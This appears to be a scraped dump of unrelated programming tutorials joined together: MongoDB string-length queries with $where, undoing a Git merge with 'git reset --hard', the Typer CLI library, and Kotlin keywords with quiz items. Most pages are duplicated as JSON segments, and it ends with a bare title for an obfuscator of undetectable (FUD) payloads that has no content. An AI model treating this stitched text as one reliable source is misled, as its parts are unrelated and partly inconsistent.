> db.stringFieldLengthDemo.insertOne({"UserId":3,"UserName":"James Brown"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bb5b2386c62d05142a7a")
}
> db.stringFieldLengthDemo.insertOne({"UserId":4,"UserName":"John Smith"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bb662386c62d05142a7b")
}
> db.stringFieldLengthDemo.insertOne({"UserId":5,"UserName":"David Miller"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bb892386c62d05142a7c")
}
> db.stringFieldLengthDemo.insertOne({"UserId":6,"UserName":"John Williams"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bbb02386c62d05142a7d")
}
> db.stringFieldLengthDemo.insertOne({"UserId":7,"UserName":"Chris Evans"});
{
"acknowledged" : true,
"insertedId" : ObjectId("5c77bbd32386c62d05142a7e")
}
Display all documents from a collection with the help of find() method. The query is as follows −
> db.stringFieldLengthDemo.find().pretty();
The following is the output −
{
"_id" : ObjectId("5c77bb4b2386c62d05142a78"),
"UserId" : 1,
"UserName" : "Adam Smith"
}
{
"_id" : ObjectId("5c77bb562386c62d05142a79"),
"UserId" : 2,
"UserName" : "Carol Taylor"
}
{
"_id" : ObjectId("5c77bb5b2386c62d05142a7a"),
"UserId" : 3,
"UserName" : "James Brown"
}
{
"_id" : ObjectId("5c77bb662386c62d05142a7b"),
"UserId" : 4,
"UserName" : "John Smith"
}
{
"_id" : ObjectId("5c77bb892386c62d05142a7c"),
"UserId" : 5,
"UserName" : "David Miller"
}
{
"_id" : ObjectId("5c77bbb02386c62d05142a7d"),
"UserId" : 6,
"UserName" : "John Williams"
}
{
"_id" : ObjectId("5c77bbd32386c62d05142a7e"),
"UserId" : 7,
"UserName" : "Chris Evans"
}
Here is the query to find the string which has a length greater than let‟s say 11 in MongoDB −
> db.stringFieldLengthDemo.find({$where:'this.UserName.length >11'}).pretty();
The following is the output −
{
"_id" : ObjectId("5c77bb562386c62d05142a79"),
"UserId" : 2,
"UserName" : "Carol Taylor"
}
{
"_id" : ObjectId("5c77bb892386c62d05142a7c"),
"UserId" : 5,
"UserName" : "David Miller"
}
{
"_id" : ObjectId("5c77bbb02386c62d05142a7d"),
"UserId" : 6,
"UserName" : "John Williams"
}
|
[
{
"code": null,
"e": 1196,
"s": 1062,
"text": "To find the string which has a length greater than a particular value in MongoDB, use the $where operator. The syntax is as follows −"
},
{
"code": null,
"e": 1296,
"s": 1196,
"text": "db.yourCollectionName.find({$where:'this.yourStringFieldName.length >\nyourIntegerValue'}).pretty();"
},
{
"code": null,
"e": 1440,
"s": 1296,
"text": "To understand the above concept, let us create a collection with the document. The query to create a collection with a document is as follows −"
},
{
"code": null,
"e": 2576,
"s": 1440,
"text": "> db.stringFieldLengthDemo.insertOne({\"UserId\":1,\"UserName\":\"Adam Smith\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bb4b2386c62d05142a78\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":2,\"UserName\":\"Carol Taylor\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bb562386c62d05142a79\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":3,\"UserName\":\"James Brown\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bb5b2386c62d05142a7a\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":4,\"UserName\":\"John Smith\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bb662386c62d05142a7b\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":5,\"UserName\":\"David Miller\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bb892386c62d05142a7c\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":6,\"UserName\":\"John Williams\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bbb02386c62d05142a7d\")\n}\n> db.stringFieldLengthDemo.insertOne({\"UserId\":7,\"UserName\":\"Chris Evans\"});\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c77bbd32386c62d05142a7e\")\n}"
},
{
"code": null,
"e": 2674,
"s": 2576,
"text": "Display all documents from a collection with the help of find() method. The query is as follows −"
},
{
"code": null,
"e": 2718,
"s": 2674,
"text": "> db.stringFieldLengthDemo.find().pretty();"
},
{
"code": null,
"e": 2748,
"s": 2718,
"text": "The following is the output −"
},
{
"code": null,
"e": 3450,
"s": 2748,
"text": "{\n \"_id\" : ObjectId(\"5c77bb4b2386c62d05142a78\"),\n \"UserId\" : 1,\n \"UserName\" : \"Adam Smith\"\n}\n{\n \"_id\" : ObjectId(\"5c77bb562386c62d05142a79\"),\n \"UserId\" : 2,\n \"UserName\" : \"Carol Taylor\"\n}\n{\n \"_id\" : ObjectId(\"5c77bb5b2386c62d05142a7a\"),\n \"UserId\" : 3,\n \"UserName\" : \"James Brown\"\n}\n{\n \"_id\" : ObjectId(\"5c77bb662386c62d05142a7b\"),\n \"UserId\" : 4,\n \"UserName\" : \"John Smith\"\n}\n{\n \"_id\" : ObjectId(\"5c77bb892386c62d05142a7c\"),\n \"UserId\" : 5,\n \"UserName\" : \"David Miller\"\n}\n{\n \"_id\" : ObjectId(\"5c77bbb02386c62d05142a7d\"),\n \"UserId\" : 6,\n \"UserName\" : \"John Williams\"\n}\n{\n \"_id\" : ObjectId(\"5c77bbd32386c62d05142a7e\"),\n \"UserId\" : 7,\n \"UserName\" : \"Chris Evans\"\n}"
},
{
"code": null,
"e": 3545,
"s": 3450,
"text": "Here is the query to find the string which has a length greater than let‟s say 11 in MongoDB −"
},
{
"code": null,
"e": 3624,
"s": 3545,
"text": "> db.stringFieldLengthDemo.find({$where:'this.UserName.length >11'}).pretty();"
},
{
"code": null,
"e": 3654,
"s": 3624,
"text": "The following is the output −"
},
{
"code": null,
"e": 3958,
"s": 3654,
"text": "{\n \"_id\" : ObjectId(\"5c77bb562386c62d05142a79\"),\n \"UserId\" : 2,\n \"UserName\" : \"Carol Taylor\"\n}\n{\n \"_id\" : ObjectId(\"5c77bb892386c62d05142a7c\"),\n \"UserId\" : 5,\n \"UserName\" : \"David Miller\"\n}\n{\n \"_id\" : ObjectId(\"5c77bbb02386c62d05142a7d\"),\n \"UserId\" : 6,\n \"UserName\" : \"John Williams\"\n}"
}
] |
How to undo a faulty merge with reset command in Git?
|
Let us say we performed a merge commit and later found out that the code is not compiling or our application is not working. This happens if we make mistakes while merging. In situations like these we need to undo the merge using either −
reset command; OR
revert command
The git reset command can be used to undo local changes to the state of a Git repository. A git reset moves the HEAD pointer to a given commit and updates the index to match that commit. This command rewrites the commit history. However, if we have shared our commits with other team members or if we have pushed our code to the remote repository this method should not be used.
Consider the following example, where the repository has two branches – master and a feature branch. Both the branches are diverged and have two commits each. We need to merge the commits (C3 and C4) into the master branch. Let us assume that project compilation fails due to a faulty merge. This is shown in the diagram below.
Let us solve this issue by using the ‘git reset –hard’ command to reset the HEAD pointer to the previous commit in master (c2). This is shown in the diagram below. The command for resetting the HEAD pointer will be
git reset --hard HEAD~1 //moves one step back
The faulty merge will be garbage collected as there is no reference to the faulty merge.
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo
$ git init
Initialized empty Git repository in E:/tut_repo/.git/
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ echo abc>abc.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git add .
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git commit -m 'abc'
[master (root-commit) 91773ff] abc
1 file changed, 1 insertion(+)
create mode 100644 abc.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git branch feature
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git switch feature
Switched to branch 'feature'
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)
$ echo lmno>lmno.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)
$ git add .
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)
$ git commit -m 'lmno'
[feature e1c99eb] lmno
1 file changed, 1 insertion(+)
create mode 100644 lmno.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)
$ git switch master
Switched to branch 'master'
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git log --oneline --all --graph
* e1c99eb (feature) lmno
* 91773ff (HEAD -> master) abc
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ echo mh>mh.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git add .
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git commit -m 'mh.txt'
[master 862ce37] mh.txt
1 file changed, 1 insertion(+)
create mode 100644 mh.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git log --oneline --all --graph
* 862ce37 (HEAD -> master) mh.txt
| * e1c99eb (feature) lmno
|/
* 91773ff abc
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git merge feature
hint: Waiting for your editor to close the file... unix2dos: converting file E:/tut_repo/.git/MERGE_MSG to DOS format...
dos2unix: converting file E:/tut_repo/.git/MERGE_MSG to Unix format...
Merge made by the 'recursive' strategy.
lmno.txt | 1 +
1 file changed, 1 insertion(+)
create mode 100644 lmno.txt
$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)
$ git log --oneline --all --graph
* 8216241 (HEAD -> master) Merge branch 'feature'
|\
| * e1c99eb (feature) lmno
* | 862ce37 mh.txt
|/
* 91773ff abc
$ git reset --hard HEAD~1
HEAD is now at 862ce37 mh
$ git log --oneline --all --graph
* 862ce37 (HEAD -> master) mh.txt
| * e1c99eb (feature) lmno
|/
* 91773ff abc
|
[
{
"code": null,
"e": 1301,
"s": 1062,
"text": "Let us say we performed a merge commit and later found out that the code is not compiling or our application is not working. This happens if we make mistakes while merging. In situations like these we need to undo the merge using either −"
},
{
"code": null,
"e": 1319,
"s": 1301,
"text": "reset command; OR"
},
{
"code": null,
"e": 1334,
"s": 1319,
"text": "revert command"
},
{
"code": null,
"e": 1713,
"s": 1334,
"text": "The git reset command can be used to undo local changes to the state of a Git repository. A git reset moves the HEAD pointer to a given commit and updates the index to match that commit. This command rewrites the commit history. However, if we have shared our commits with other team members or if we have pushed our code to the remote repository this method should not be used."
},
{
"code": null,
"e": 2041,
"s": 1713,
"text": "Consider the following example, where the repository has two branches – master and a feature branch. Both the branches are diverged and have two commits each. We need to merge the commits (C3 and C4) into the master branch. Let us assume that project compilation fails due to a faulty merge. This is shown in the diagram below."
},
{
"code": null,
"e": 2256,
"s": 2041,
"text": "Let us solve this issue by using the ‘git reset –hard’ command to reset the HEAD pointer to the previous commit in master (c2). This is shown in the diagram below. The command for resetting the HEAD pointer will be"
},
{
"code": null,
"e": 2302,
"s": 2256,
"text": "git reset --hard HEAD~1 //moves one step back"
},
{
"code": null,
"e": 2391,
"s": 2302,
"text": "The faulty merge will be garbage collected as there is no reference to the faulty merge."
},
{
"code": null,
"e": 4731,
"s": 2391,
"text": "$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo\n$ git init\nInitialized empty Git repository in E:/tut_repo/.git/\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ echo abc>abc.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git add .\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git commit -m 'abc'\n[master (root-commit) 91773ff] abc\n1 file changed, 1 insertion(+)\ncreate mode 100644 abc.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git branch feature\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git switch feature\nSwitched to branch 'feature'\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)\n$ echo lmno>lmno.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)\n$ git add .\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)\n$ git commit -m 'lmno'\n[feature e1c99eb] lmno\n1 file changed, 1 insertion(+)\ncreate mode 100644 lmno.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (feature)\n$ git switch master\nSwitched to branch 'master'\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git log --oneline --all --graph\n* e1c99eb (feature) lmno\n* 91773ff (HEAD -> master) abc\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ echo mh>mh.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git add .\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git commit -m 'mh.txt'\n[master 862ce37] mh.txt\n1 file changed, 1 insertion(+)\ncreate mode 100644 mh.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git log --oneline --all --graph\n* 862ce37 (HEAD -> master) mh.txt\n| * e1c99eb (feature) lmno\n|/\n* 91773ff abc\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git merge feature\nhint: Waiting for your editor to close the file... unix2dos: converting file E:/tut_repo/.git/MERGE_MSG to DOS format...\ndos2unix: converting file E:/tut_repo/.git/MERGE_MSG to Unix format...\nMerge made by the 'recursive' strategy.\nlmno.txt | 1 +\n1 file changed, 1 insertion(+)\ncreate mode 100644 lmno.txt\n\n$ dell@DESKTOP-N961NR5 MINGW64 /e/tut_repo (master)\n$ git log --oneline --all --graph\n* 8216241 (HEAD -> master) Merge branch 'feature'\n|\\\n| * e1c99eb (feature) lmno\n* | 862ce37 mh.txt\n|/\n* 91773ff abc\n$ git reset --hard HEAD~1\nHEAD is now at 862ce37 mh\n$ git log --oneline --all --graph\n* 862ce37 (HEAD -> master) mh.txt\n| * e1c99eb (feature) lmno\n|/\n* 91773ff abc"
}
] |
Typer: Build Powerful CLIs in One Line of Code using Python | by Khuyen Tran | Towards Data Science
|
Have you ever wanted to quickly add arguments to a Python script on the command line like below?
Being able to insert arguments to the Python script from a terminal allows you and your users to experiment with different parameters easily without looking at the source code.
argparse allows you to write command-line interfaces, but its syntax is long.
Is there a way that you can create command-line interfaces in one line of code like below?
That is when Typer comes in handy.
Typer is a library for building Command Line Interface (CLI) applications based on Python’s type hints. It is created by Sebastián Ramírez, the author of FastAPI.
Typer is short to write and easy to use. To install Typer, type:
pip install typer
To create a CLI for your Python script using Typer, simply add typer.run(your-Python-function) to your code.
Name the file above as get_started.py . Now when you run python get_started.py --help , you should see something like below:
By looking at the help message, we know what argument we should add to the file.
Now try to insert an argument next to python get_started.py and see what we get.
Cool! The output changes as we change the argument.
To add a help message describing what a function does, simply add a docstring to that function.
Okay, cool. But what if users don’t understand what the argument NAME means? That is when typer.Argument comes in handy.
You can use typer.Argument(default_value, help) to add a default value and help message to the argument.
Since there is no default value for the argument name , we use ... as the default value.
And you should see the help message like below:
Note that the argument name is required because there is no default value.
If you add the default value to the argument name , this argument is no longer required.
Now you can run python argument_example.py without inserting any argument!
What if we want users to pick from one of the predefined choices? That could be done by using enum.Enum.
Nice! Now users can only choose one of the options red , yellow , or orange to be the value of the argument color .
In the code below, --is-user and --no-is-user are the CLI options.
While CLI arguments are required, CLI options are not required and start with -- .
To turn a function’s argument into a CLI option, use typer.Option .
Cool! Since the data type of --is-user is bool, the CLI option --no-is-user is also automatically generated!
When we use different CLI options, we can see different outputs like below.
We can also use CLI option with a default value:
Now we can insert a new value into the CLI option time by using --time=value .
Note that since we specified the parametertime as int in the function greeting , we can only insert an integer into time . We will get an error if we insert a string instead.
You can also ask the user to insert CLI option with prompt=True .
Note that Typer automatically turns the CLI option into a reasonable prompt! If you want to customize the prompt, simple replace prompt=True with prompt=question :
Sometimes, users might insert invalid values. Is there a way that we can check these values before using them for our functions?
Yes, that could be done by adding the keyword argumentcallback to either typer.Argument or typer.Option .
In the code below, we pass the function check_if_user_exists to callback . This function checks if the username exists. If the username doesn’t exist, we raise a typer.BadParameter exception.
Adding arguments and options to a function from a terminal is cool. But what if we have more than one function in a Python script? That is when the decorator app.command() comes in handy.
In the code above, we:
create a new typer.Typer() application named app
add @app.command() to the functions we want to create commands with
use app() to create a CLI application with those functions
Now both greeting and say-bye are available to be used as commands!
Simply execute python file_name.py command to use a specific command.
How cool is that?
Congratulations! You have just learned how to use Typer to create CLI applications for your Python script. With Typer, you and your users can insert arguments to your Python script without much effort.
Since it only takes one line of code to create a CLI application for your functions, why not give it a try?
Feel free to play and fork the source code of this article here:
github.com
I like to write about basic data science concepts and play with different algorithms and data science tools. You could connect with me on LinkedIn and Twitter.
Star this repo if you want to check out the codes for all of the articles I have written. Follow me on Medium to stay informed with my latest data science articles like these:
|
[
{
"code": null,
"e": 268,
"s": 171,
"text": "Have you ever wanted to quickly add arguments to a Python script on the command line like below?"
},
{
"code": null,
"e": 445,
"s": 268,
"text": "Being able to insert arguments to the Python script from a terminal allows you and your users to experiment with different parameters easily without looking at the source code."
},
{
"code": null,
"e": 523,
"s": 445,
"text": "argparse allows you to write command-line interfaces, but its syntax is long."
},
{
"code": null,
"e": 614,
"s": 523,
"text": "Is there a way that you can create command-line interfaces in one line of code like below?"
},
{
"code": null,
"e": 649,
"s": 614,
"text": "That is when Typer comes in handy."
},
{
"code": null,
"e": 814,
"s": 649,
"text": "Typer is a library for building Command Line Interface (CLI) applications based on Python’s type hints. It is created by Sebastián Ramírez, the author of FastAPI."
},
{
"code": null,
"e": 879,
"s": 814,
"text": "Typer is short to write and easy to use. To install Typer, type:"
},
{
"code": null,
"e": 897,
"s": 879,
"text": "pip install typer"
},
{
"code": null,
"e": 1006,
"s": 897,
"text": "To create a CLI for your Python script using Typer, simply add typer.run(your-Python-function) to your code."
},
{
"code": null,
"e": 1131,
"s": 1006,
"text": "Name the file above as get_started.py . Now when you run python get_started.py --help , you should see something like below:"
},
{
"code": null,
"e": 1212,
"s": 1131,
"text": "By looking at the help message, we know what argument we should add to the file."
},
{
"code": null,
"e": 1293,
"s": 1212,
"text": "Now try to insert an argument next to python get_started.py and see what we get."
},
{
"code": null,
"e": 1345,
"s": 1293,
"text": "Cool! The output changes as we change the argument."
},
{
"code": null,
"e": 1441,
"s": 1345,
"text": "To add a help message describing what a function does, simply add a docstring to that function."
},
{
"code": null,
"e": 1562,
"s": 1441,
"text": "Okay, cool. But what if users don’t understand what the argument NAME means? That is when typer.Argument comes in handy."
},
{
"code": null,
"e": 1667,
"s": 1562,
"text": "You can use typer.Argument(default_value, help) to add a default value and help message to the argument."
},
{
"code": null,
"e": 1756,
"s": 1667,
"text": "Since there is no default value for the argument name , we use ... as the default value."
},
{
"code": null,
"e": 1804,
"s": 1756,
"text": "And you should see the help message like below:"
},
{
"code": null,
"e": 1879,
"s": 1804,
"text": "Note that the argument name is required because there is no default value."
},
{
"code": null,
"e": 1968,
"s": 1879,
"text": "If you add the default value to the argument name , this argument is no longer required."
},
{
"code": null,
"e": 2043,
"s": 1968,
"text": "Now you can run python argument_example.py without inserting any argument!"
},
{
"code": null,
"e": 2148,
"s": 2043,
"text": "What if we want users to pick from one of the predefined choices? That could be done by using enum.Enum."
},
{
"code": null,
"e": 2264,
"s": 2148,
"text": "Nice! Now users can only choose one of the options red , yellow , or orange to be the value of the argument color ."
},
{
"code": null,
"e": 2331,
"s": 2264,
"text": "In the code below, --is-user and --no-is-user are the CLI options."
},
{
"code": null,
"e": 2414,
"s": 2331,
"text": "While CLI arguments are required, CLI options are not required and start with -- ."
},
{
"code": null,
"e": 2482,
"s": 2414,
"text": "To turn a function’s argument into a CLI option, use typer.Option ."
},
{
"code": null,
"e": 2591,
"s": 2482,
"text": "Cool! Since the data type of --is-user is bool, the CLI option --no-is-user is also automatically generated!"
},
{
"code": null,
"e": 2667,
"s": 2591,
"text": "When we use different CLI options, we can see different outputs like below."
},
{
"code": null,
"e": 2716,
"s": 2667,
"text": "We can also use CLI option with a default value:"
},
{
"code": null,
"e": 2795,
"s": 2716,
"text": "Now we can insert a new value into the CLI option time by using --time=value ."
},
{
"code": null,
"e": 2970,
"s": 2795,
"text": "Note that since we specified the parametertime as int in the function greeting , we can only insert an integer into time . We will get an error if we insert a string instead."
},
{
"code": null,
"e": 3036,
"s": 2970,
"text": "You can also ask the user to insert CLI option with prompt=True ."
},
{
"code": null,
"e": 3200,
"s": 3036,
"text": "Note that Typer automatically turns the CLI option into a reasonable prompt! If you want to customize the prompt, simple replace prompt=True with prompt=question :"
},
{
"code": null,
"e": 3329,
"s": 3200,
"text": "Sometimes, users might insert invalid values. Is there a way that we can check these values before using them for our functions?"
},
{
"code": null,
"e": 3435,
"s": 3329,
"text": "Yes, that could be done by adding the keyword argumentcallback to either typer.Argument or typer.Option ."
},
{
"code": null,
"e": 3627,
"s": 3435,
"text": "In the code below, we pass the function check_if_user_exists to callback . This function checks if the username exists. If the username doesn’t exist, we raise a typer.BadParameter exception."
},
{
"code": null,
"e": 3815,
"s": 3627,
"text": "Adding arguments and options to a function from a terminal is cool. But what if we have more than one function in a Python script? That is when the decorator app.command() comes in handy."
},
{
"code": null,
"e": 3838,
"s": 3815,
"text": "In the code above, we:"
},
{
"code": null,
"e": 3887,
"s": 3838,
"text": "create a new typer.Typer() application named app"
},
{
"code": null,
"e": 3955,
"s": 3887,
"text": "add @app.command() to the functions we want to create commands with"
},
{
"code": null,
"e": 4014,
"s": 3955,
"text": "use app() to create a CLI application with those functions"
},
{
"code": null,
"e": 4082,
"s": 4014,
"text": "Now both greeting and say-bye are available to be used as commands!"
},
{
"code": null,
"e": 4152,
"s": 4082,
"text": "Simply execute python file_name.py command to use a specific command."
},
{
"code": null,
"e": 4170,
"s": 4152,
"text": "How cool is that?"
},
{
"code": null,
"e": 4372,
"s": 4170,
"text": "Congratulations! You have just learned how to use Typer to create CLI applications for your Python script. With Typer, you and your users can insert arguments to your Python script without much effort."
},
{
"code": null,
"e": 4480,
"s": 4372,
"text": "Since it only takes one line of code to create a CLI application for your functions, why not give it a try?"
},
{
"code": null,
"e": 4545,
"s": 4480,
"text": "Feel free to play and fork the source code of this article here:"
},
{
"code": null,
"e": 4556,
"s": 4545,
"text": "github.com"
},
{
"code": null,
"e": 4716,
"s": 4556,
"text": "I like to write about basic data science concepts and play with different algorithms and data science tools. You could connect with me on LinkedIn and Twitter."
}
] |
Kotlin - Keywords
|
Kotlin keywords are predefined, reserved words used in Kotlin programming that have special meanings to the compiler. These words cannot be used as an identifier (variables names, package names, function names etc.) and if used then compiler will raise an exception.
Kotlin uses fun keyword to define a function, so if we we will try to use it as a variable name then it will be an exception. For example:
fun main() {
var fun = "Zara Ali" // Not allowed, throws an exception
var age = 19 // Valid variable name
println("Name = $fun")
println("Age = $age")
}
When you run the above Kotlin program, it will generate the following output:
main.kt:2:7: error: expecting property name or receiver type
var fun = "Zara Ali" // Not allowed, throws an exception
^
main.kt:2:11: error: expecting '('
var fun = "Zara Ali" // Not allowed, throws an exception
^
main.kt:5:21: error: keyword cannot be used as a reference
println("Name = $fun")
^
Kotlin keywords have been categorised into three broad categories: (a) Hard Keywords (b) Soft Keywords (c) Modifier Keywords
As a good programming practice, it is highly recommended not to use any of the mentioned keywords to name any identifiers while coding in Kotlin.
Following is a list of hard keywords and they cannot be used as identifiers:
Following is the list of keywords (soft) in the context when they are applicable and can be used as identifiers in other contexts:
Following is the list of tokens which act as keywords in modifier lists of declarations and can be used as identifiers in other contexts:
Q 1 - Which of the following is a hard keyword in Kotlin:
A - var
B - val
C - for
D - All of the above
All the mentioned keywords are from a list of hard keywords in Kotlin.
Q 2 - Identify which line of the following program will raise an error:
var name = "Zara Ali"
var age = 19
var class = "6th"
var height = 5.3
A - First Line
B - Second Line
C - Third Line
D - Last Line
Here 3rd line will raise an error because we have used hard keyword class to define a variable.
Q 3 - Which statment is incorrect in Kotlin
A - We can use Kotlin hard keywords to define any identifier
B - Kotlin allows using soft keywords as identifiers based on the context.
C - It is a good practice not to use any type of keywords while naming an identifier.
D - All of the above statements are incorrect
As per given rules, Kotlin hard keywords can not be used to name an identifier.
68 Lectures
4.5 hours
Arnab Chakraborty
71 Lectures
5.5 hours
Frahaan Hussain
18 Lectures
1.5 hours
Mahmoud Ramadan
49 Lectures
6 hours
Catalin Stefan
49 Lectures
2.5 hours
Skillbakerystudios
22 Lectures
1 hours
CLEMENT OCHIENG
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 2692,
"s": 2425,
"text": "Kotlin keywords are predefined, reserved words used in Kotlin programming that have special meanings to the compiler. These words cannot be used as an identifier (variables names, package names, function names etc.) and if used then compiler will raise an exception."
},
{
"code": null,
"e": 2831,
"s": 2692,
"text": "Kotlin uses fun keyword to define a function, so if we we will try to use it as a variable name then it will be an exception. For example:"
},
{
"code": null,
"e": 3008,
"s": 2831,
"text": "fun main() {\n var fun = \"Zara Ali\" // Not allowed, throws an exception\n var age = 19 // Valid variable name\n\n println(\"Name = $fun\")\n println(\"Age = $age\")\n}\n"
},
{
"code": null,
"e": 3086,
"s": 3008,
"text": "When you run the above Kotlin program, it will generate the following output:"
},
{
"code": null,
"e": 3432,
"s": 3086,
"text": "main.kt:2:7: error: expecting property name or receiver type\n var fun = \"Zara Ali\" // Not allowed, throws an exception\n ^\nmain.kt:2:11: error: expecting '('\n var fun = \"Zara Ali\" // Not allowed, throws an exception\n ^\nmain.kt:5:21: error: keyword cannot be used as a reference\n println(\"Name = $fun\")\n ^\n"
},
{
"code": null,
"e": 3557,
"s": 3432,
"text": "Kotlin keywords have been categorised into three broad categories: (a) Hard Keywords (b) Soft Keywords (c) Modifier Keywords"
},
{
"code": null,
"e": 3703,
"s": 3557,
"text": "As a good programming practice, it is highly recommended not to use any of the mentioned keywords to name any identifiers while coding in Kotlin."
},
{
"code": null,
"e": 3780,
"s": 3703,
"text": "Following is a list of hard keywords and they cannot be used as identifiers:"
},
{
"code": null,
"e": 3911,
"s": 3780,
"text": "Following is the list of keywords (soft) in the context when they are applicable and can be used as identifiers in other contexts:"
},
{
"code": null,
"e": 4049,
"s": 3911,
"text": "Following is the list of tokens which act as keywords in modifier lists of declarations and can be used as identifiers in other contexts:"
},
{
"code": null,
"e": 4107,
"s": 4049,
"text": "Q 1 - Which of the following is a hard keyword in Kotlin:"
},
{
"code": null,
"e": 4115,
"s": 4107,
"text": "A - var"
},
{
"code": null,
"e": 4123,
"s": 4115,
"text": "B - val"
},
{
"code": null,
"e": 4131,
"s": 4123,
"text": "C - for"
},
{
"code": null,
"e": 4152,
"s": 4131,
"text": "D - All of the above"
},
{
"code": null,
"e": 4223,
"s": 4152,
"text": "All the mentioned keywords are from a list of hard keywords in Kotlin."
},
{
"code": null,
"e": 4295,
"s": 4223,
"text": "Q 2 - Identify which line of the following program will raise an error:"
},
{
"code": null,
"e": 4378,
"s": 4295,
"text": " var name = \"Zara Ali\"\n var age = 19\n var class = \"6th\"\n var height = 5.3\n"
},
{
"code": null,
"e": 4393,
"s": 4378,
"text": "A - First Line"
},
{
"code": null,
"e": 4409,
"s": 4393,
"text": "B - Second Line"
},
{
"code": null,
"e": 4424,
"s": 4409,
"text": "C - Third Line"
},
{
"code": null,
"e": 4438,
"s": 4424,
"text": "D - Last Line"
},
{
"code": null,
"e": 4534,
"s": 4438,
"text": "Here 3rd line will raise an error because we have used hard keyword class to define a variable."
},
{
"code": null,
"e": 4578,
"s": 4534,
"text": "Q 3 - Which statment is incorrect in Kotlin"
},
{
"code": null,
"e": 4639,
"s": 4578,
"text": "A - We can use Kotlin hard keywords to define any identifier"
},
{
"code": null,
"e": 4714,
"s": 4639,
"text": "B - Kotlin allows using soft keywords as identifiers based on the context."
},
{
"code": null,
"e": 4800,
"s": 4714,
"text": "C - It is a good practice not to use any type of keywords while naming an identifier."
},
{
"code": null,
"e": 4846,
"s": 4800,
"text": "D - All of the above statements are incorrect"
},
{
"code": null,
"e": 4926,
"s": 4846,
"text": "As per given rules, Kotlin hard keywords can not be used to name an identifier."
},
{
"code": null,
"e": 4961,
"s": 4926,
"text": "\n 68 Lectures \n 4.5 hours \n"
},
{
"code": null,
"e": 4980,
"s": 4961,
"text": " Arnab Chakraborty"
},
{
"code": null,
"e": 5015,
"s": 4980,
"text": "\n 71 Lectures \n 5.5 hours \n"
},
{
"code": null,
"e": 5032,
"s": 5015,
"text": " Frahaan Hussain"
},
{
"code": null,
"e": 5067,
"s": 5032,
"text": "\n 18 Lectures \n 1.5 hours \n"
},
{
"code": null,
"e": 5084,
"s": 5067,
"text": " Mahmoud Ramadan"
},
{
"code": null,
"e": 5117,
"s": 5084,
"text": "\n 49 Lectures \n 6 hours \n"
},
{
"code": null,
"e": 5133,
"s": 5117,
"text": " Catalin Stefan"
},
{
"code": null,
"e": 5168,
"s": 5133,
"text": "\n 49 Lectures \n 2.5 hours \n"
},
{
"code": null,
"e": 5188,
"s": 5168,
"text": " Skillbakerystudios"
},
{
"code": null,
"e": 5221,
"s": 5188,
"text": "\n 22 Lectures \n 1 hours \n"
},
{
"code": null,
"e": 5238,
"s": 5221,
"text": " CLEMENT OCHIENG"
},
{
"code": null,
"e": 5245,
"s": 5238,
"text": " Print"
},
{
"code": null,
"e": 5256,
"s": 5245,
"text": " Add Notes"
}
] |
Onelinepy - Python Obfuscator To Generate One-Liners And FUD Payloads - GeeksforGeeks
|
18 Jul, 2021
